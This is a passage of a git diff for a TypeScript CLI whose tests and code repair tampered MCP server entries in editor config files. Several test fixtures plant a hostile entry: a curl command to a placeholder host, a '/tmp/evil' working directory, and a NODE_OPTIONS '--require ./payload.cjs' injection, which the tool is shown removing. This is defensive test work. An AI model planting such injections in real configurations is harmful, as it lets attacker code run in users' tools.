tempFile('config.yaml');const original = ['# hand-written header',@@ -143,7 +143,6 @@ describe('surgical YAML MCP write', () => {const entry = parseYaml(after).mcp_servers['open-knowledge'];expect(entry).toEqual({...PUBLISHED_CHAIN_ENTRY,- env: { KEEP: 'yes' },startup_timeout_ms: 45000,tools: { exec: { approval_mode: 'approve' } },unknown: { nested: { values: [1, 2, 3] } },@@ -254,3 +253,123 @@ describe('surgical YAML MCP write', () => {});});});++describe('surgical YAML MCP write when the caller asks for a replacement', () => {+ afterEach(() => {+ if (dir) rmSync(dir, { recursive: true, force: true });+ });++ function writeHermesReplacing(configPath: string) {+ return writeEditorMcpConfig(hermesTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+ });+ }++ it('replaces a foreign entry under our name whole, dropping its env and extras', () => {+ const configPath = tempFile('config.yaml');+ writeFileSync(+ configPath,+ [+ 'mcp_servers:',+ ' github:',+ ' command: npx',+ ' open-knowledge:',+ ' command: curl',+ ' args: ["https://example.invalid"]',+ ' cwd: /tmp/evil',+ ' env:',+ ' NODE_OPTIONS: "--require ./payload.cjs"',+ '',+ ].join('\n'),+ );++ expect(writeHermesReplacing(configPath).action).toBe('overwritten');++ const parsed = parseYaml(readFileSync(configPath, 'utf-8'));+ expect(parsed.mcp_servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ expect(parsed.mcp_servers.github).toEqual({ command: 'npx' });+ });++ it('replaces a foreign entry whole even without the replace flag, keeping siblings', () => {+ const configPath = tempFile('config.yaml');+ writeFileSync(+ configPath,+ [+ 'mcp_servers:',+ ' github:',+ ' command: npx',+ ' open-knowledge:',+ ' command: curl',+ ' args: ["https://example.invalid"]',+ ' cwd: /tmp/evil',+ ' env:',+ ' NODE_OPTIONS: "--require ./payload.cjs"',+ '',+ ].join('\n'),+ );++ expect(writeHermes(configPath).action).toBe('overwritten');++ const parsed = parseYaml(readFileSync(configPath, 'utf-8'));+ expect(parsed.mcp_servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ expect(parsed.mcp_servers.github).toEqual({ command: 'npx' });+ });++ it('leaves our own exact entry byte-identical', () => {+ const configPath = tempFile('config.yaml');+ writeHermes(configPath);+ const before = readFileSync(configPath, 'utf-8');++ expect(writeHermesReplacing(configPath).action).toBe('overwritten');++ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });+ it('prunes only the foreign env from a launcher newer than this build, keeping its body', () => {+ const configPath = tempFile('config.yaml');+ writeFileSync(+ configPath,+ [+ 'mcp_servers:',+ ' open-knowledge:',+ ' command: /bin/sh',+ ' args: [-l, -c, "# ok-mcp-v99\\nfuture launcher body"] # keep this note',+ ' cwd: /srv/notes',+ ' env:',+ ' NODE_OPTIONS: "--require ./payload.cjs"',+ '',+ ].join('\n'),+ );++ const result = writeEditorMcpConfig(hermesTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });+ expect(result.action).toBe('overwritten');++ const after = readFileSync(configPath, 'utf-8');+ expect(after).toContain('# keep this note');+ expect(after).not.toContain('NODE_OPTIONS');+ expect(parseYaml(after).mcp_servers['open-knowledge']).toEqual({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ });+ });+ it('reports no change when a prune finds nothing to remove', () => {+ const configPath = tempFile('config.yaml');+ writeHermes(configPath);+ const before = readFileSync(configPath, 'utf-8');++ const result = writeEditorMcpConfig(hermesTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });++ expect(result.action).toBe('skipped-flag');+ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });+});diff --git a/packages/cli/src/commands/removal-plan.ts b/packages/cli/src/commands/removal-plan.tsindex 5002d7484..559d47257 100644--- a/packages/cli/src/commands/removal-plan.ts+++ b/packages/cli/src/commands/removal-plan.ts@@ -1,6 +1,6 @@import { existsSync, lstatSync, readdirSync, readFileSync, rmSync, unlinkSync } from 'node:fs';import { basename, join, relative, sep } from 'node:path';-import { PROJECT_SKILL_PROJECTION_IGNORE_PATHS } from '@inkeep/open-knowledge-core';+import { PROJECT_SKILL_PROJECTION_PATHS } from '@inkeep/open-knowledge-core';import { atomicWriteFileSync } from '@inkeep/open-knowledge-core/server';import { resolveShadowDir } from '@inkeep/open-knowledge-core/shadow-repo-layout';import { resolveLockDir } from '@inkeep/open-knowledge-server';@@ -137,7 +137,7 @@ export function deinitOps(const removeRelPaths = new Set<string>([...getOkArtifactPaths(projectRoot),...getInstalledSkillProjectionPaths(projectRoot),- ...PROJECT_SKILL_PROJECTION_IGNORE_PATHS,+ ...PROJECT_SKILL_PROJECTION_PATHS,]);for (const rel of removeRelPaths) {const bare = rel.replace(/\/$/, '');diff --git a/packages/cli/src/commands/repair-launch-json.test.ts b/packages/cli/src/commands/repair-launch-json.test.tsindex 3d22a8160..615a49f5f 100644--- a/packages/cli/src/commands/repair-launch-json.test.ts+++ b/packages/cli/src/commands/repair-launch-json.test.ts@@ -58,7 +58,11 @@ describe('repairLaunchJson (remove sweep)', () => {const written = JSON.parse(readFileSync(configPath, 'utf-8'));expect(written.configurations).toHaveLength(1);expect(written.configurations[0]).toEqual(FOREIGN);- expect(logEvents).toContainEqual({ event: 'launch-json-repair-removed', configPath });+ expect(logEvents).toContainEqual({+ event: 'launch-json-repair-removed',+ severity: 'info',+ configPath,+ });});it("keeps the file when OK's entry was the only configuration", () => {@@ -104,7 +108,7 @@ describe('repairLaunchJson (remove sweep)', () => {expect(result.repairedCount).toBe(0);expect(readFileSync(configPath, 'utf-8')).toBe(before);expect(logEvents).toEqual([- { event: 'launch-json-repair-skipped', reason: 'reclaim-disabled' },+ { event: 'launch-json-repair-skipped', severity: 'info', reason: 'reclaim-disabled' },]);});@@ -112,7 +116,35 @@ describe('repairLaunchJson (remove sweep)', () => {const result = repairLaunchJson({ projectDir, logger, reclaimDisableEnv: '1' });expect(result.outcome.outcome).toBe('skipped-reclaim-disabled');expect(logEvents).toEqual([- { event: 'launch-json-repair-skipped', reason: 'reclaim-disabled' },+ { event: 'launch-json-repair-skipped', severity: 'info', reason: 'reclaim-disabled' },+ ]);+ });+});++describe('repairLaunchJson (write failure)', () => {+ it('warns with the config path when the removal throws, and reports write-failed', () => {+ const events: LaunchJsonRepairLogEvent[] = [];+ const result = repairLaunchJson({+ projectDir: '/nowhere/project',+ logger: (event) => events.push(event),+ removeOwnLaunchEntryFn: () => {+ throw new Error('EACCES: permission denied');+ },+ });+ expect(result).toEqual({+ outcome: {+ configPath: join('/nowhere/project', '.claude', 'launch.json'),+ outcome: 'write-failed',+ error: 'EACCES: permission denied',+ },+ repairedCount: 0,+ });+ expect(events).toEqual([+ {+ event: 'launch-json-repair-write-failed',+ severity: 'warn',+ configPath: join('/nowhere/project', '.claude', 'launch.json'),+ },]);});});diff --git a/packages/cli/src/commands/repair-launch-json.ts b/packages/cli/src/commands/repair-launch-json.tsindex 039ee0649..3446fe33f 100644--- a/packages/cli/src/commands/repair-launch-json.ts+++ b/packages/cli/src/commands/repair-launch-json.ts@@ -14,6 +14,7 @@ export interface LaunchJsonRepairResult {export interface LaunchJsonRepairLogEvent {event: string;+ severity: 'info' | 'warn';configPath?: string;reason?: string;}@@ -22,6 +23,7 @@ export interface LaunchJsonRepairContext {projectDir: string;logger?: (event: LaunchJsonRepairLogEvent) => void;reclaimDisableEnv?: string | null;+ removeOwnLaunchEntryFn?: typeof removeOwnLaunchEntry;}export function repairLaunchJson(ctx: LaunchJsonRepairContext): LaunchJsonRepairResult {@@ -29,20 +31,20 @@ export function repairLaunchJson(ctx: LaunchJsonRepairContext): LaunchJsonRepairconst configPath = join(ctx.projectDir, '.claude', 'launch.json');if (ctx.reclaimDisableEnv === '1') {- logger({ event: 'launch-json-repair-skipped', reason: 'reclaim-disabled' });+ logger({ event: 'launch-json-repair-skipped', severity: 'info', reason: 'reclaim-disabled' });return { outcome: { configPath, outcome: 'skipped-reclaim-disabled' }, repairedCount: 0 };}let result: ReturnType<typeof removeOwnLaunchEntry>;try {- result = removeOwnLaunchEntry(ctx.projectDir);+ result = (ctx.removeOwnLaunchEntryFn ?? removeOwnLaunchEntry)(ctx.projectDir);} catch (err) {const error = err instanceof Error ? err.message : String(err);- logger({ event: 'launch-json-repair-write-failed', configPath });+ logger({ event: 'launch-json-repair-write-failed', severity: 'warn', configPath });return { outcome: { configPath, outcome: 'write-failed', error }, repairedCount: 0 };}const removed = result.kind === 'removed';- if (removed) logger({ event: 'launch-json-repair-removed', configPath });+ if (removed) logger({ event: 'launch-json-repair-removed', severity: 'info', configPath });return { outcome: { configPath, outcome: result.kind }, repairedCount: removed ? 1 : 0 };}diff --git a/packages/cli/src/commands/repair-mcp-configs.test.ts b/packages/cli/src/commands/repair-mcp-configs.test.tsindex 6480d2242..a3d4890d5 100644--- a/packages/cli/src/commands/repair-mcp-configs.test.ts+++ b/packages/cli/src/commands/repair-mcp-configs.test.ts@@ -1,10 +1,16 @@import { mkdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';import { tmpdir } from 'node:os';import { join, resolve } from 'node:path';-import { afterEach, beforeEach, describe, expect, it } from 'vitest';+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';import { buildManagedServerEntry, resolveClaudeCodeConfigPath } from './editors.ts';+import { writeEditorMcpConfig } from './init.ts';import { type RepairLogEvent, repairMcpConfigs } from './repair-mcp-configs.ts';+vi.mock('./init.ts', async (importOriginal) => {+ const actual = await importOriginal<typeof import('./init.ts')>();+ return { ...actual, writeEditorMcpConfig: vi.fn(actual.writeEditorMcpConfig) };+});+const CHAIN_ENTRY = buildManagedServerEntry({ mode: 'published' });const WIN_CHAIN_ENTRY = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });const CMD_WORKAROUND = {@@ -76,6 +82,7 @@ describe('repairMcpConfigs', () => {expect(written.mcpServers['open-knowledge']).toEqual(CHAIN_ENTRY);expect(logEvents).toContainEqual({event: 'mcp-config-migrate',+ severity: 'info',scope: 'user',surface: 'cli-repair',editorId: 'claude',@@ -116,7 +123,7 @@ describe('repairMcpConfigs', () => {const configPath = writeClaude({command: '/bin/sh',args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],- env: { KEEP: 'yes' },+ cwd: '/srv/notes',});const before = readFileSync(configPath, 'utf-8');@@ -127,6 +134,34 @@ describe('repairMcpConfigs', () => {expect(readFileSync(configPath, 'utf-8')).toBe(before);});+ it('prunes a foreign env from a future launcher without touching its body', () => {+ const events: RepairLogEvent[] = [];+ const configPath = writeClaude({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });++ const result = repairMcpConfigs({ projectDir, home: fakeHome, logger: (e) => events.push(e) });++ expect(result.outcomes.find((o) => o.editorId === 'claude')?.outcome).toBe('repaired');+ const after = JSON.parse(readFileSync(configPath, 'utf-8'));+ expect(after.mcpServers['open-knowledge']).toEqual({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ });+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-config-repair-pruned',+ severity: 'info',+ editorId: 'claude',+ keys: ['env'],+ }),+ );+ });+it('keeps a recognized future project launcher byte-unchanged', () => {const configPath = writeProjectClaude({command: '/bin/sh',@@ -153,7 +188,7 @@ describe('repairMcpConfigs', () => {(item) => item.scope === 'project' && item.editorId === 'claude',);- expect(outcome).toMatchObject({ outcome: 'declined', reason: 'foreign-command' });+ expect(outcome).toMatchObject({ outcome: 'foreign', reason: 'foreign-command' });expect(readFileSync(configPath, 'utf-8')).toBe(before);});@@ -194,7 +229,9 @@ describe('repairMcpConfigs', () => {expect(result.repairedCount).toBe(0);expect(result.outcomes).toEqual([]);expect(readFileSync(configPath, 'utf-8')).toBe(before);- expect(logEvents).toEqual([{ event: 'mcp-config-repair-skipped', reason: 'reclaim-disabled' }]);+ expect(logEvents).toEqual([+ { event: 'mcp-config-repair-skipped', severity: 'info', reason: 'reclaim-disabled' },+ ]);});it('OK_RECLAIM_DISABLE values other than "1" do NOT disable the sweep', () => {@@ -211,4 +248,128 @@ describe('repairMcpConfigs', () => {);}});+ it('rewrites our current launcher when an env map was added after we wrote it', () => {+ const configPath = writeClaude({+ ...CHAIN_ENTRY,+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });++ const result = repairMcpConfigs({ projectDir, home: fakeHome });++ expect(result.outcomes.find((o) => o.editorId === 'claude')?.outcome).toBe('repaired');+ const after = JSON.parse(readFileSync(configPath, 'utf-8'));+ expect(after.mcpServers['open-knowledge']).toEqual(CHAIN_ENTRY);+ });++ it('rewrites our current project launcher when an env map was added after we wrote it', () => {+ const configPath = writeProjectClaude({+ ...CHAIN_ENTRY,+ cwd: '/srv/notes',+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });++ const result = repairMcpConfigs({ projectDir, home: fakeHome });+ const outcome = result.outcomes.find(+ (item) => item.scope === 'project' && item.editorId === 'claude',+ );++ expect(outcome?.outcome).toBe('repaired');+ const after = JSON.parse(readFileSync(configPath, 'utf-8'));+ expect(after.mcpServers['open-knowledge']).toEqual({ ...CHAIN_ENTRY, cwd: '/srv/notes' });+ });+ it('does not claim a prune when the write fails, and reports write-failed', () => {+ const events: RepairLogEvent[] = [];+ const configPath = writeClaude({+ ...CHAIN_ENTRY,+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });+ const before = readFileSync(configPath, 'utf-8');+ vi.mocked(writeEditorMcpConfig).mockImplementationOnce((target, _cwd, _opts, _home) => ({+ editorId: target.id,+ label: target.label,+ action: 'failed',+ configPath,+ serverName: 'open-knowledge',+ error: 'EACCES',+ }));++ const result = repairMcpConfigs({ projectDir, home: fakeHome, logger: (e) => events.push(e) });++ expect(result.outcomes.find((o) => o.editorId === 'claude')).toMatchObject({+ outcome: 'write-failed',+ error: 'EACCES',+ });+ expect(events.some((e) => e.event === 'mcp-config-repair-pruned')).toBe(false);+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-config-repair-write-failed',+ severity: 'warn',+ editorId: 'claude',+ }),+ );+ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });++ it('reports a planned prune that removed nothing as prune-unchanged, not as canonical or repaired', () => {+ const events: RepairLogEvent[] = [];+ const configPath = writeClaude({+ ...CHAIN_ENTRY,+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });+ vi.mocked(writeEditorMcpConfig).mockImplementationOnce((target) => ({+ editorId: target.id,+ label: target.label,+ action: 'skipped-flag',+ configPath,+ serverName: 'open-knowledge',+ }));++ const result = repairMcpConfigs({ projectDir, home: fakeHome, logger: (e) => events.push(e) });++ expect(result.outcomes.find((o) => o.editorId === 'claude')?.outcome).toBe('prune-unchanged');+ expect(result.repairedCount).toBe(0);+ expect(events.some((e) => e.event === 'mcp-config-repair-pruned')).toBe(false);+ expect(events).toContainEqual(+ expect.objectContaining({+ event: 'mcp-config-repair-prune-unchanged',+ severity: 'warn',+ editorId: 'claude',+ keys: ['env'],+ }),+ );+ });+ it('carries the decline reason and a warn severity when the writer refuses a prune', () => {+ const events: RepairLogEvent[] = [];+ const configPath = writeClaude({+ ...CHAIN_ENTRY,+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });+ const before = readFileSync(configPath, 'utf-8');+ vi.mocked(writeEditorMcpConfig).mockImplementationOnce((target) => ({+ editorId: target.id,+ label: target.label,+ action: 'declined',+ configPath,+ serverName: 'open-knowledge',+ declineReason: 'no-native-writer',+ }));++ const result = repairMcpConfigs({ projectDir, home: fakeHome, logger: (e) => events.push(e) });++ expect(result.outcomes.find((o) => o.editorId === 'claude')).toMatchObject({+ outcome: 'declined',+ reason: 'no-native-writer',+ });+ expect(result.repairedCount).toBe(0);+ expect(events).toContainEqual({+ event: 'mcp-config-repair-declined',+ severity: 'warn',+ scope: 'user',+ editorId: 'claude',+ configPath,+ reason: 'no-native-writer',+ });+ expect(events.some((e) => e.event === 'mcp-config-repair-pruned')).toBe(false);+ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });});diff --git a/packages/cli/src/commands/repair-mcp-configs.ts b/packages/cli/src/commands/repair-mcp-configs.tsindex 8a0c2b959..5b6d52e16 100644--- a/packages/cli/src/commands/repair-mcp-configs.ts+++ b/packages/cli/src/commands/repair-mcp-configs.ts@@ -2,6 +2,7 @@ import { homedir } from 'node:os';import { classifyMcpLauncherEntry } from '@inkeep/open-knowledge-core';import {ALL_EDITOR_IDS,+ droppedManagedKeys,EDITOR_TARGETS,type EditorId,type EditorMcpTarget,@@ -14,7 +15,14 @@ export interface RepairOutcome {scope: 'user' | 'project';editorId: EditorId;configPath: string;- outcome: 'no-entry' | 'canonical' | 'repaired' | 'write-failed' | 'declined';+ outcome:+ | 'no-entry'+ | 'canonical'+ | 'repaired'+ | 'foreign'+ | 'prune-unchanged'+ | 'write-failed'+ | 'declined';reason?: McpDeclineReason;error?: string;}@@ -34,6 +42,8 @@ export interface RepairLogEvent {priorCommand?: string | null;priorArgs?: unknown[] | null;reason?: string;+ keys?: readonly string[];+ severity: 'info' | 'warn';}export interface RepairContext {@@ -49,7 +59,7 @@ export function repairMcpConfigs(ctx: RepairContext): RepairResult {const outcomes: RepairOutcome[] = [];if (ctx.reclaimDisableEnv === '1') {- logger({ event: 'mcp-config-repair-skipped', reason: 'reclaim-disabled' });+ logger({ event: 'mcp-config-repair-skipped', severity: 'info', reason: 'reclaim-disabled' });return { outcomes, repairedCount: 0 };}@@ -128,47 +138,86 @@ function repairOne(opts: RepairOneOptions): RepairOutcome {return { ...base, outcome: 'no-entry' };}- if (opts.editorId === 'pi') {+ if (opts.target.format === 'file') {if (isEntryUpToDate(existing)) return { ...base, outcome: 'canonical' };} else {const launcher = classifyMcpLauncherEntry(existing);if (launcher.kind === 'recognized' && launcher.disposition === 'keep') {- return { ...base, outcome: 'canonical' };+ const dropped = droppedManagedKeys(existing, opts.target.buildEntry(opts.cwd, {}));+ if (dropped.length === 0) return { ...base, outcome: 'canonical' };+ const pruned = finishRepairWrite(+ opts,+ base,+ writeEditorMcpConfig(+ opts.target,+ opts.cwd,+ { mode: 'published', skipAvailabilityCheck: true, pruneOnly: true },+ opts.home,+ opts.configPathOverride,+ ),+ );+ if (pruned.outcome === 'repaired' || pruned.outcome === 'canonical') {+ opts.logger({+ event:+ pruned.outcome === 'repaired'+ ? 'mcp-config-repair-pruned'+ : 'mcp-config-repair-prune-unchanged',+ severity: pruned.outcome === 'repaired' ? 'info' : 'warn',+ scope: opts.scope,+ editorId: opts.editorId,+ configPath: opts.configPath,+ keys: dropped,+ });+ }+ return pruned.outcome === 'canonical' ? { ...base, outcome: 'prune-unchanged' } : pruned;}if (launcher.kind === 'declined' && opts.scope === 'project') {opts.logger({- event: 'mcp-config-repair-declined',+ event: 'mcp-config-repair-skipped-foreign',+ severity: 'info',scope: opts.scope,editorId: opts.editorId,configPath: opts.configPath,reason: launcher.reason,});- return { ...base, outcome: 'declined', reason: launcher.reason };+ return { ...base, outcome: 'foreign', reason: launcher.reason };}}- opts.logger(- buildMcpConfigMigrateEvent({+ opts.logger({+ ...buildMcpConfigMigrateEvent({scope: opts.scope,surface: 'cli-repair',editorId: opts.editorId,configPath: opts.configPath,priorEntry: existing,}),+ severity: 'info',+ });++ return finishRepairWrite(+ opts,+ base,+ writeEditorMcpConfig(+ opts.target,+ opts.cwd,+ { mode: 'published', skipAvailabilityCheck: true },+ opts.home,+ opts.configPathOverride,+ ),);+}- const result = writeEditorMcpConfig(- opts.target,- opts.cwd,- { mode: 'published', skipAvailabilityCheck: true },- opts.home,- opts.configPathOverride,- );-+function finishRepairWrite(+ opts: RepairOneOptions,+ base: Pick<RepairOutcome, 'scope' | 'editorId' | 'configPath'>,+ result: ReturnType<typeof writeEditorMcpConfig>,+): RepairOutcome {if (result.action === 'failed') {const error = result.error ?? 'unknown write failure';opts.logger({event: 'mcp-config-repair-write-failed',+ severity: 'warn',scope: opts.scope,editorId: opts.editorId,configPath: opts.configPath,@@ -180,14 +229,16 @@ function repairOne(opts: RepairOneOptions): RepairOutcome {if (result.action === 'declined') {opts.logger({event: 'mcp-config-repair-declined',+ severity: 'warn',scope: opts.scope,editorId: opts.editorId,configPath: opts.configPath,reason: result.declineReason,});- return { ...base, outcome: 'declined' };+ return { ...base, outcome: 'declined', reason: result.declineReason };}+ if (result.action === 'skipped-flag') return { ...base, outcome: 'canonical' };return { ...base, outcome: 'repaired' };}diff --git a/packages/cli/src/commands/repair-skills.test.ts b/packages/cli/src/commands/repair-skills.test.tsindex 5223aa0e7..82d72904c 100644--- a/packages/cli/src/commands/repair-skills.test.ts+++ b/packages/cli/src/commands/repair-skills.test.ts@@ -8,6 +8,7 @@ import { EDITOR_TARGETS } from './editors.ts';import {__testing,type RepairSkillsDeps,+ type RepairSkillsFsOps,type RepairSkillsLogEvent,type RepairSkillsResult,repairSkills,@@ -173,7 +174,7 @@ describe('repairSkills — project sweep (AC-A1, AC-A2, AC-A3)', () => {writeFileSync(join(scratch.project, '.cursor', 'mcp.json'), OK_WIRED_MCP_JSON);const realFs = await import('node:fs');- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => realFs.existsSync(p),isDirectory: (p) => {try {@@ -654,7 +655,7 @@ describe('repairSkills — user sweep version gate (AC-B1, AC-B2, AC-B3, AC-B4)'mkdirSync(join(scratch.home, '.claude'), { recursive: true });mkdirSync(join(scratch.home, '.agents'), { recursive: true });const realFs = await import('node:fs');- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => realFs.existsSync(p),isDirectory: (p) => {try {@@ -844,7 +845,7 @@ describe('repairSkills — user sweep version gate (AC-B1, AC-B2, AC-B3, AC-B4)'it('does NOT advance the version when every per-host AND central write failed', async () => {const realFs = await import('node:fs');- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => realFs.existsSync(p),isDirectory: (p) => {try {@@ -1132,7 +1133,7 @@ describe('repairSkills — JSONL telemetry parity with Desktop', () => {it('emits no failure when no user-skill host exists', async () => {const realFs = await import('node:fs');const presentPaths = new Set<string>();- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => presentPaths.has(p),isDirectory: (p) => {try {@@ -1175,7 +1176,7 @@ describe('repairSkills — JSONL telemetry parity with Desktop', () => {mkdirSync(join(scratch.home, '.claude'), { recursive: true });mkdirSync(join(scratch.home, '.cursor'), { recursive: true });const realFs = await import('node:fs');- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => realFs.existsSync(p),isDirectory: (p) => {try {@@ -1224,7 +1225,7 @@ describe('repairSkills — JSONL telemetry parity with Desktop', () => {mkdirSync(join(scratch.home, '.claude'), { recursive: true });const realFs = await import('node:fs');const failingBundleDir = 'open-knowledge-write-skill';- const customFs: import('./repair-skills.ts').RepairSkillsFsOps = {+ const customFs: RepairSkillsFsOps = {existsSync: (p) => realFs.existsSync(p),isDirectory: (p) => {try {diff --git a/packages/cli/src/commands/repair-skills.ts b/packages/cli/src/commands/repair-skills.tsindex 8ac5dc7e3..7553dcda1 100644--- a/packages/cli/src/commands/repair-skills.ts+++ b/packages/cli/src/commands/repair-skills.ts@@ -127,21 +127,21 @@ export interface RepairSkillsContext {confirmLegacyCleanup?: (plan: LegacyFanoutSweepPlan) => Promise<boolean>;}-export type ProjectSkillOutcome =+type ProjectSkillOutcome =| 'no-token'| 'present'| 'created'| 'failed'| 'skipped-global-collision';-export type UserSkillCentralOutcome = 'written' | 'skipped-present' | 'failed';-export type UserSkillHostOutcome =+type UserSkillCentralOutcome = 'written' | 'skipped-present' | 'failed';+type UserSkillHostOutcome =| 'written'| 'skipped-present'| 'skipped-host-absent'| 'skipped-collapsed-with-central'| 'failed';-export interface ProjectSkillEntry {+interface ProjectSkillEntry {editorId: string;hostDir: string;path: string;@@ -149,7 +149,7 @@ export interface ProjectSkillEntry {error?: string;}-export type UserSkillEntry =+type UserSkillEntry =| {kind: 'central';path: string;@@ -165,11 +165,11 @@ export type UserSkillEntry =error?: string;};-export type ProjectSweepResult =+type ProjectSweepResult =| { outcome: 'done'; entries: ProjectSkillEntry[] }| { outcome: 'skipped'; reason: string };-export type UserSweepResult =+type UserSweepResult =| { outcome: 'done'; version: string; entries: UserSkillEntry[] }| { outcome: 'skipped'; reason: string };diff --git a/packages/cli/src/commands/start.test.ts b/packages/cli/src/commands/start.test.tsindex d548613da..b0264e013 100644--- a/packages/cli/src/commands/start.test.ts+++ b/packages/cli/src/commands/start.test.ts@@ -4,6 +4,7 @@ import {mkdirSync,mkdtempSync,readdirSync,+ readFileSync,rmSync,symlinkSync,writeFileSync,@@ -11,7 +12,7 @@ import {import { mkdtemp, rm } from 'node:fs/promises';import { request as httpRequest } from 'node:http';import { tmpdir } from 'node:os';-import { basename, dirname, join, resolve } from 'node:path';+import { basename, dirname, join, relative, resolve } from 'node:path';import { setTimeout as wait } from 'node:timers/promises';import { idleShutdownToMs } from '@inkeep/open-knowledge-core';import { type Config, ConfigSchema } from '@inkeep/open-knowledge-server';@@ -171,6 +172,38 @@ function fetchText(});}+function postJson(+ port: number,+ path: string,+ payload: unknown,+): Promise<{ status: number; body: string }> {+ const encoded = Buffer.from(JSON.stringify(payload), 'utf-8');+ return new Promise((resolveFetch, reject) => {+ const req = httpRequest(+ {+ hostname: '127.0.0.1',+ port,+ path,+ method: 'POST',+ headers: { 'content-type': 'application/json', 'content-length': encoded.length },+ },+ (res) => {+ let body = '';+ res.setEncoding('utf-8');+ res.on('data', (chunk) => {+ body += chunk;+ });+ res.on('end', () => {+ resolveFetch({ status: res.statusCode ?? 0, body });+ });+ res.on('error', reject);+ },+ );+ req.on('error', reject);+ req.end(encoded);+ });+}+describe('withIdleShutdownProcessExit (idle-path zombie prevention)', () => {test('exits 0 after the handler completes, logging an open-handle summary', async () => {const order: string[] = [];@@ -450,12 +483,94 @@ describe('bootStartServer (integration)', () => {skipAutoInit: true,repairMcpConfigsFn: (opts) => {captured.push(opts as { projectDir: string });+ return { outcomes: [], repairedCount: 0 };},});expect(captured).toHaveLength(1);expect(captured[0].projectDir).toBe(tmpDir);});+ test('warns about a sweep that detected a tamper it could not heal', async () => {+ const warned: unknown[] = [];+ const debugged: unknown[] = [];+ const log = {+ warn: (ctx: unknown) => warned.push(ctx),+ debug: (ctx: unknown) => debugged.push(ctx),+ info: () => {},+ error: () => {},+ child: () => log,+ };+ booted = await bootStartServer({+ config: makeTestConfig(),+ cwd: tmpDir,+ host: TEST_HOST,+ skipAutoInit: true,+ log: log as unknown as NonNullable<Parameters<typeof bootStartServer>[0]['log']>,+ repairMcpConfigsFn: (opts) => {+ opts.logger?.({ event: 'mcp-config-repair-prune-unchanged', severity: 'warn' });+ opts.logger?.({ event: 'mcp-config-repair-declined', severity: 'warn' });+ opts.logger?.({ event: 'mcp-config-repair-pruned', severity: 'info' });+ opts.logger?.({ event: 'mcp-config-repair-something-new' });+ return {+ outcomes: [+ {+ scope: 'user',+ editorId: 'claude',+ configPath: '/home/x/.claude.json',+ outcome: 'prune-unchanged',+ },+ {+ scope: 'user',+ editorId: 'codex',+ configPath: '/home/x/.codex/config.toml',+ outcome: 'declined',+ reason: 'no-native-writer',+ },+ {+ scope: 'user',+ editorId: 'cursor',+ configPath: '/home/x/.cursor/mcp.json',+ outcome: 'canonical',+ },+ ],+ repairedCount: 0,+ };+ },+ });+ const warnedEvents = warned+ .map((ctx) => (ctx as { event?: { event?: string } }).event?.event)+ .filter((name): name is string => typeof name === 'string');+ expect(warnedEvents).toEqual([+ 'mcp-config-repair-prune-unchanged',+ 'mcp-config-repair-declined',+ 'mcp-config-repair-something-new',+ ]);+ expect(+ debugged.some(+ (ctx) =>+ (ctx as { event?: { event?: string } }).event?.event === 'mcp-config-repair-pruned',+ ),+ ).toBe(true);+ const unhealed = warned+ .map((ctx) => (ctx as { unhealed?: unknown }).unhealed)+ .find((value) => Array.isArray(value));+ expect(unhealed).toEqual([+ {+ scope: 'user',+ editorId: 'claude',+ configPath: '/home/x/.claude.json',+ outcome: 'prune-unchanged',+ },+ {+ scope: 'user',+ editorId: 'codex',+ configPath: '/home/x/.codex/config.toml',+ outcome: 'declined',+ reason: 'no-native-writer',+ },+ ]);+ });+test('continues booting even when repairMcpConfigsFn throws', async () => {booted = await bootStartServer({config: makeTestConfig(),@@ -469,68 +584,143 @@ describe('bootStartServer (integration)', () => {expect(booted.port).toBeGreaterThan(0);});- test('invokes repairLaunchJsonFn with the project cwd before bootServer', async () => {- const captured: { projectDir: string }[] = [];+ test('the AI-tool connections batch reaches the CLI writers and probes injected at boot', async () => {booted = await bootStartServer({config: makeTestConfig(),cwd: tmpDir,host: TEST_HOST,skipAutoInit: true,- repairLaunchJsonFn: (opts) => {- captured.push(opts as { projectDir: string });- },});- expect(captured).toHaveLength(1);- expect(captured[0].projectDir).toBe(tmpDir);++ const satisfierId = 'claude/mcp/project/config-entry';+ const res = await postJson(booted.port, '/api/agent-integrations/apply', {+ intents: [{ satisfierId, desired: 'present' }],+ });++ expect(res.status).toBe(200);+ const body = JSON.parse(res.body) as {+ actions: { satisfierId: string; action: string; errorId?: string }[];+ snapshot: { probes: { satisfiers: Record<string, { state: string }> } };+ };+ const step = 